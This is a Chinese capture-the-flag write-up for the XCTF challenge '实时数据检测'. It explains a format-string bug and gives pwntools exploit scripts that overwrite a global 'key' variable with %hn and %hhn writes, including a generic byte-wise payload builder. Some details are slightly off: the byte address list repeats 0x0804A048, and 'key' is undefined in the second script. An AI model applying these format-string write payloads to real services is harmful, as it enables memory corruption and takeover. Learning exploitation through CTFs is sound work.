攻防世界(12):实时数据检测
查壳。。。什么都没开
看ida
s开的208,fgets却是512,明显用%p泄露格式化字符串地址的偏移,然后覆盖key就行
偏移为12
但是覆盖key的时候容易发现,key要求的的数为35795746,转换为十六进制是0x2223322,单纯用%index$n是不行的,要将key要求的数转换成十六进制,然后用$hhn写入单字节或者用$hn写入双字节
写入双字节,由于x64,x86存储数据时使用的是小端法,所以覆盖如下
0x0804A048:0x3322
0x0804A04A:0x0222
payload = p32(0x0804A04A)+p32(0x0804A048)+"%538c"+"%12$hn"+"%12544c"+"%13$hn"
这样0x0804A04A是第十二个地址位置,写入538+8,0x0804A048是第十三个地址,写入538+8+12544,得到结果
exp:
#!/usr/bin/env python
from pwn import *
p = remote("111.200.241.244", 35526)
payload = p32(0x0804A04A)+p32(0x0804A048)+"%538c"+"%12$hn"+"%12544c"+"%13$hn"
p.sendline(payload)
p.interactive()
写入单字节
0x0804A048:0x22
0x0804A048:0x33
0x0804A04A:0x22
0x0804A04B:0x02
单字节的广义解法(ctf-wiki代码模板)
from pwn import *
p = remote("111.200.241.244", 35526)
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
#offser:偏移量,size:32位or64位,addr:地址, target:目标覆盖值
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload =fmt_str(12,4,key,0x2223322)
p.sendline(payload)
p.interactive()